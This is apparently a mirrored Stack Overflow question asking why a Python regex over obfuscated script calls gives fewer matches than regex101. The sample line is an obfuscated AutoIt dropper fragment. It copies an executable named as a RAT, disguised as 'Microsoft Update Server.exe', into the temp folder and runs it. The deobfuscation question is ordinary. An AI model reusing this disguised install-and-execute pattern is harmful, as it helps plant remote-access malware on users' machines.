【问题标题】:Same regex but different result相同的正则表达式但不同的结果
【发布时间】:2022-06-10 17:39:17
【问题描述】:

我有一行数据:

If @ScriptName <> L7HO4JA0Q("214833064T214833069T214833059T214833061T214833062T214833085T214833089T214833034T214833047T214833034", $m2wp8dd0oc1e, $n9zm9xy4vz5l, $f7pq3jv3ha4f, $q3ix7tp0vs2e) And @ScriptName <> L7HO4JA0Q("214833052T214833049T214833048T214833030T214833025T214833117T214833089T214833034T214833047T214833034", $m2wp8dd0oc1e, $n9zm9xy4vz5l, $f7pq3jv3ha4f, $q3ix7tp0vs2e) And @ScriptName <> L7HO4JA0Q("214833052T214833049T214833048T214833030T214833025T214833118T214833089T214833034T214833047T214833034", $m2wp8dd0oc1e, $n9zm9xy4vz5l, $f7pq3jv3ha4f, $q3ix7tp0vs2e) Then FileInstall("C:\Users\dell\Desktop\Dangerous RAT 2022\Microsoft Update Server.exe", @TempDir & L7HO4JA0Q("214833088T214833069T214833066T214833085T214833069T214833087T214833059T214833089T214833034T214833047T214833034", $m2wp8dd0oc1e, $n9zm9xy4vz5l, $f7pq3jv3ha4f, $q3ix7tp0vs2e)) ShellExecute(@TempDir & L7HO4JA0Q("214833088T214833069T214833066T214833085T214833069T214833087T214833059T214833089T214833034T214833047T214833034", $m2wp8dd0oc1e, $n9zm9xy4vz5l, $f7pq3jv3ha4f, $q3ix7tp0vs2e))

我尝试使用匹配任何内容的正则表达式,例如“L7HO4JA0Q(...)”。所以我试试这个正则表达式"L7HO4JA0Q[^)]*."。 regex101.com 上的结果是 5 个匹配项。但是当我尝试通过 re.findall 使用 python 时,我只给出 3 个匹配项。

【问题讨论】:

  • 在 regex101.com 你选择了什么 FLAVOR?
  • 你的代码是无效的python
  • @Daweo 我选择了 python。我给它拍张照片。
  • 你不应该给代码拍照,而是将它作为格式化文本发布在这里。
  • @SembeiNorimaki 不是代码。

标签: python regex


猜你喜欢
  • 2019-08-28
  • 1970-01-01
  • 2017-11-08
  • 2016-11-04
  • 1970-01-01
  • 1970-01-01
  • 2015-06-12
  • 2020-04-17
  • 1970-01-01
相关资源
最近更新 更多